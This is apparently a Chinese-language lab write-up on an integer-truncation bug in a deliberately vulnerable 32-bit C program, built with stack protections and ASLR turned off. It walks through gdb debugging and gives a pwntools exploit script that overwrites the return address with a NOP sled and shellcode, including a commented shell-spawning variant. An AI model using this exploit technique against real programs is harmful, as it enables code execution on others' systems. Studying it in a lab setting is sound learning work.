文章目录
本想借这类老洞练练pwntool,但最后的脚本getshell失败了。
整数的异常情况主要有三种:
- 溢出:针对有符号数。两正或两负相加时,有可能改变符号位的值。可用溢出标志 OF 检测。
- 回绕:针对无符号数。以byte为例,其实就是0-1, 255+1。可用进位标志 CF 检测。
- 截断: 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断。
实例
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); // unsigned char( len== 1) <-- size_t( len== 4) !!!!
// printf("%s\n%d\n", passwd, passwd_len);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc) {
char buf[300] = {0};
scanf("%s", buf);
getchar();
validate_passwd(buf);
printf("return main\n");
}
这段程序把输入的passwd四字节长度存到一字节char中,会导致截断。如果想执行strcpy,长度可以被截断为4到8这个闭合区间,比如5,那么可以输入一个长256+5==261的字符串(+1是因为0),这里用pwntools的cyclic生成字符串,方便定位返回地址。
编译(无canary,无NX)并关闭ASLR:
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc -m32 -g -fno-stack-protector -no-pie -z execstack pwnme.c -o integar
checksec integar
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
gdb调试:
gdb --args ./integar `python -c 'from pwn import *;print(cyclic(261))'`
程序按照预期崩溃, 并且返回地址被覆盖为"gaaa":
gef> c
Continuing.
good!
$eip : 0x61616167 ("gaaa"?)
segmentation fault
重新单步调试到strcpy,可以看到局部变量passwd_buf位于ebp-0x14这个地方,而返回地址应该在ebp+4,距离正好是gaaa与aaa的距离(0x18==4*6)。另外eflag寄存器的overflow标志也提示有溢出了(就不截图了)。
而函数的ebp为0xffffd2e8,
-registers
...
$ebp : 0xffffd2e8
-code
0x565555c1 <validate_passwd+68> push DWORD PTR [ebp+0x8]
0x565555c4 <validate_passwd+71> lea eax, [ebp-0x14]
0x565555c7 <validate_passwd+74> push eax
0x565555c8 <validate_passwd+75> call 0x565553f0 <strcpy@plt>
─stack
0xffffd2d0│+0x0000: 0xf7fb6000 → 0x001d4d8c ← $esp
0xffffd2d4│+0x0004: 0xf7fb6000 → 0x001d4d8c
0xffffd2d8│+0x0008: 0x00000000
0xffffd2dc│+0x000c: 0x05e1139b
0xffffd2e0│+0x0010: 0xf7fb63fc → 0xf7fb7200 → 0x00000000
0xffffd2e4│+0x0014: 0x00000000
0xffffd2e8│+0x0018: 0xffffd308 → 0x00000000 ← $ebp
0xffffd2ec│+0x001c: 0x56555636 → <main+76> add esp, 0x10
接下来构造exp。先看下shellcode的长度:
>>> len(asm(shellcraft.i386.sh()))
44
返回地址可以写一个ebp之后的、4字节对齐的地址,执行一段滑块指令后再执行shellcode:
from pwn import *
pRetAddr = 0xffffd2f8 # a address higher than ebp(0xffffd2e8)
context.log_level = 'debug'
# shellcode = shellcraft.i386.linux.sh()
shellcode = shellcraft.echo('hello', 1)
payload = bytes("a"*24, encoding="ascii") # aaaa-faaa 4*6
payload += p32(pRetAddr) # 4
payload += bytes([0x90]*20) # 8
payload += asm(shellcode) # 22
payload += bytes("a"*(261-len(payload)), encoding="ascii")
# p = process(["./integar"])
# p.sendline(payload)
# gdb.attach(p, "b main")
p = gdb.debug("./integar", "b main")
pause()
p.sendline(payload)
# p.sendline(b'echo Hello')
print(p.recv())
p.interactive()
一开始 shellcode是用的 linux.sh, 但经过调试发现字符串被00截断了:
p passwd_len
$1 = 0x3d
x /261xb passwd
0xffffd474: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffd47c: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffd484: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffd48c: 0xf8 0xd2 0xff 0xff 0x90 0x90 0x90 0x90
0xffffd494: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd49c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd4a4: 0x6a 0x68 0x68 0x2f 0x2f 0x2f 0x73 0x68
0xffffd4ac: 0x2f 0x62 0x69 0x6e 0x6a 0x00 0x00 0x00
先不编码了,改为简单的echo hello,
/* push b'hello' */
push 0x6f
push 0x6c6c6568
/* call write(1, 'esp', 5) */
push (4) /* 4 */
pop eax
push 1
pop ebx
mov ecx, esp
push 5
pop edx
int 0x80
最后成功在0xffffd2f8执行了,但并没有echo,,反而Segmentation fault结束了:
→ 0xffffd30b add BYTE PTR [ebx-0x7f9dcb5f], ah
0xffffd311 ins DWORD PTR es:[edi], dx
0xffffd312 sti
0xffffd313 test DWORD PTR [esi], 0x70000000
0xffffd319 xchg ecx, eax
0xffffd31a push ebp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "integar", stopped 0xffffd30b in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffd30b → add BYTE PTR [ebx-0x7f9dcb5f], ah
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffd30b in ?? ()
gef➤ ni
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
原因是ebx-0x7f9dcb5f这里没有写权限,应该是shellcode的问题。
当天没解决,,但第二天就正常了(奇了个大怪),,,
[DEBUG] Received 0xb bytes:
b'good!\n'
b'hello'
good!
hello$
小结:
- python3的payload构造,拼接时要转成byte类型;
- 研究了一下pwntool的gdb调试,调试会话建立后需要pause一下,需要输入时再发送payload。